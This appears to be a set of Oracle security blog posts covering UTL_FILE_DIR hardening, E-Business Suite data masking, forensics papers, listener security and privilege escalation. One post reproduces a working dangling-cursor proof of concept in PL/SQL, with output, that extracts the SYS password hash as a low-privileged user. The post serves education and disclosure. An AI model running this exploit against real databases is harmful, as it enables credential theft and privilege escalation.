The UTL_FILE database package is used to read from and write to operating system directories and files. By default, PUBLIC is granted execute permission on UTL_FILE. Therefore, any database account may read from and write to files in the directories specified in the UTL_FILE_DIR database initialization parameter […] Security considerations with UTL_FILE can be mitigated by removing all directories from UTL_FILE_DIR and using the Directory functionality instead.Comments Off on Avoid UTL_FILE_DIR Security Weakness – Use Oracle Directories Instead | Filed in Oracle | Tags: pl/sql, Security
You can use the Oracle Data Masking Pack with Oracle Enterprise Manager today to scramble sensitive data in cloned environments. Due to data dependencies, scrambling E-Business Suite data is not a trivial task. The data needs to be scrubbed in such a way that allows the application to continue to function.
Using the Data Masking Pack in E-Business Suite environments is now easier with the release of new set of templates for E-Business Suite databases:
Oracle E-Business Suite Release 12.1.3 Template for Data Masking Pack (Patch13898999)
This template works with the Oracle Data Masking Pack and Oracle Enterprise Manager to obscure sensitive E-Business Suite information that is copied from production to non-production environments.
Note that this not a free feature. You must purchase licenses for Oracle Enterprise Manager and the Oracle Data Masking Pack plug-in. The EBS template is included in the pack’s license.Comments Off on The Easy Way to Mask Sensitive Data in Cloned Oracle E-Business Suite Environments | Filed in Oracle | Tags: EBS, Security
Oracle Applications 11i Encrypted Password String Disclosure (PDF): An undisclosed security vulnerability exists in Oracle Applications 11i that may allow an unauthenticated, internal attacker to obtain Oracle Applications’ user account encrypted password strings, which in turn can be decrypted using previously published information. An attacker can potentially obtain either any user’s password or the Oracle Applications’ main database account password (APPS).
Building an Audit Trail in an Oracle Applications Environment (PDF): Sarbanes-Oxleyâ€™s section 404 requires a companyâ€™s key systems be audited. However, many companies have “unauditable” systems and donâ€™t even know it. This paper explores methods by which companies can create an auditable system by implementing various levels of audit trails in Oracle Applications.
Dissecting the Redo Logs (PDF): This paper delves into the guts of the undocumented binary format of the redo logs and shows the forensics examiner, if there is evidence to be found, how to find it and how it can be integrated into a time line of events. It also explores how an attacker can attempt to cover their tracks and how to spot this.
Locating dropped objects (PDF): This paper shows, even when an object has been dropped and purged from the system there will be, in the vast majority of cases, fragments left â€œlying aroundâ€ which can be sewn together to build an accurate picture of what the actions the attacker took. Perhaps, depending upon how quickly an investigation takes place from the incident in question, even all data pertaining to the dropped object or objects may still be found.
Isolating Evidence of Attacks Against the Authentication Mechanism (PDF): This paper looks at attacks against the authentication mechanism and evidence to check whether a logon attempt was successful or not. It also looks at other attacks leveled at the authentication process including SID guessing, user enumeration and brute forcing of passwords over the network. Moreover, the paper looks at the differences between a logon attempt via the FTP and Web services provided with the XML Database and directly with the RDBMS itself.
Integrigy has just published an updated version of the white paper on the Oracle database listener security.
From the introduction:
The Oracle Database Listener is the database server software component that manages the network traffic between the Oracle Database and the client. The Oracle Database Listener listens on a specific network port (default 1521) and forwards network connections to the Database. The Listener is comprised of two binaries: (1) tnslsnr which is the Listener itself and (2) the Listener Control Utility (lsnrctl) which is used to administer the Listener on the server or remotely.
Through our security assessments, Integrigy has consistently identified poor Oracle Database Listener security as a significant security risk. The majority of Oracle Database Listeners are not properly secured as recommended by Oracle and security experts. Fortunately in Oracle 10g, the default Listener configuration is much more secure.
The information contained in this paper is not new, is not obscure. It may not be well known to many Oracle DBAs, but is well known to security experts and hackers. This paper will outline the vulnerabilities in the Oracle Database Listener and provide recommendations for properly securing it. Providing minimal security for the Oracle Database Listener is simple and should be done for all Oracle installations â€“ development, test and production.
Here is a link to the full document.2 Comments | Filed in Oracle, Security | Tags: guide, Security
David Litchfield has just published two chapters from his book The Oracle Hacker’s Handbook: Hacking and Defending Oracle.
In this chapter, David gives two examples, one with CREATE ANY TRIGGER and another with CREATE ANY VIEW to demonstrate how these privileges can be abused to gain DBA privileges. In fact, a user who has the CREATE ANY x privilege can trivially gain DBA privileges, and SQL injection has a lot to do with it.
Virtual Private Databases (VPDs) allow a user to access only the data that the policy specifies they can access, and no more. In this chapter, David demonstrates how to trick Oracle into dropping a policy and how to defeat VPDs with raw file access. Again, SQL injection is the main culprit.Comments Off on Indirect Privilege Escalation And Defeating Virtual Private Databases | Filed in Oracle, Tips | Tags: hack, Security, sql-injection
I ran his proof of this vulnerability on my Oracle Database 10g Express Edition database.
Connected as SYS:
SQL> CREATE OR REPLACE PROCEDURE pwd_compare(p_user VARCHAR) IS 2 cursor_name INTEGER; 3 v_pwd VARCHAR2(30); 4 i INTEGER; 5 BEGIN 6 7 IF p_user != 'SYS' THEN 8 cursor_name := dbms_sql.open_cursor; 9 DBMS_OUTPUT.PUT_LINE('CURSOR: ' || cursor_name); 10 dbms_sql.parse(cursor_name, 11 'SELECT PASSWORD FROM SYS.DBA_USERS WHERE USERNAME = :u', 12 dbms_sql.native); 13 dbms_sql.bind_variable(cursor_name, ':u', p_user); 14 dbms_sql.define_column(cursor_name, 1, v_pwd, 30); 15 i := dbms_sql.EXECUTE(cursor_name); 16 17 IF dbms_sql.fetch_rows(cursor_name) > 0 THEN 18 dbms_sql.column_value(cursor_name, 1, v_pwd); 19 END IF; 20 21 IF v_pwd = '0123456789ABCDEF' THEN 22 DBMS_OUTPUT.PUT_LINE('Hmmm....'); 23 END IF; 24 25 dbms_sql.close_cursor(cursor_name); 26 END IF; 27 28 END; 29 / Procedure created. SQL> GRANT EXECUTE ON pwd_compare TO PUBLIC; Grant succeeded.
Note that, in the code above, there is no exception handling so if there is an error before the cursor is closed then the cursor will be left dangling.
Now, let’s connect as HR, a lower privileged user than SYS, and execute the procedure
pwd_compare making sure we generate an exception in it:
SQL> DECLARE x VARCHAR(32000); 2 i INTEGER; 3 BEGIN 4 FOR i IN 1 .. 10000 5 LOOP 6 x := 'B' || x; 7 END LOOP; 8 9 sys.pwd_compare(x); 10 END; 11 / CURSOR: 6 DECLARE x VARCHAR(32000); * ERROR at line 1: ORA-01460: unimplemented or unreasonable conversion requested ORA-06512: at "SYS.DBMS_SYS_SQL", line 1202 ORA-06512: at "SYS.DBMS_SQL", line 323 ORA-06512: at "SYS.PWD_COMPARE", line 15 ORA-06512: at line 9
What we have now is a dangling cursor with an ID number of 6. Armed with this piece of information we can rebind the username associated with the query, using SYS, then re-execute the query and extract the password hash for the SYS user bypassing the logic in the procedure
SQL> DECLARE cursor_name INTEGER; 2 i INTEGER; 3 pwd VARCHAR2(30); 4 BEGIN 5 cursor_name := 6; 6 dbms_sql.bind_variable(cursor_name, ':u', 'SYS'); 7 dbms_sql.define_column(cursor_name, 1, pwd, 30); 8 i := dbms_sql.EXECUTE(cursor_name); 9 10 IF dbms_sql.fetch_rows(cursor_name) > 0 THEN 11 dbms_sql.column_value(cursor_name, 1, pwd); 12 END IF; 13 14 dbms_sql.close_cursor(cursor_name); 15 DBMS_OUTPUT.PUT_LINE('PWD: ' || pwd); 16 END; 17 / PWD: 586EEA79959C07B1 PL/SQL procedure successfully completed.
Sources and resources:
SearchOracle.com has just published a couple of interesting podcasts.
The first, titled Expert says PL/SQL change needed in Oracle 11g, is an interview with Steven Feuerstein.
In the interview, Steven answers the following questions:
The second podcast, titled Security expert sizes up Oracle patch policies, is an interview with Aaron Newman, author of “Oracle Security Handbook” and co-founder and chief technology officer of Application Security Inc.
In the interview, Aaron answers the following questions: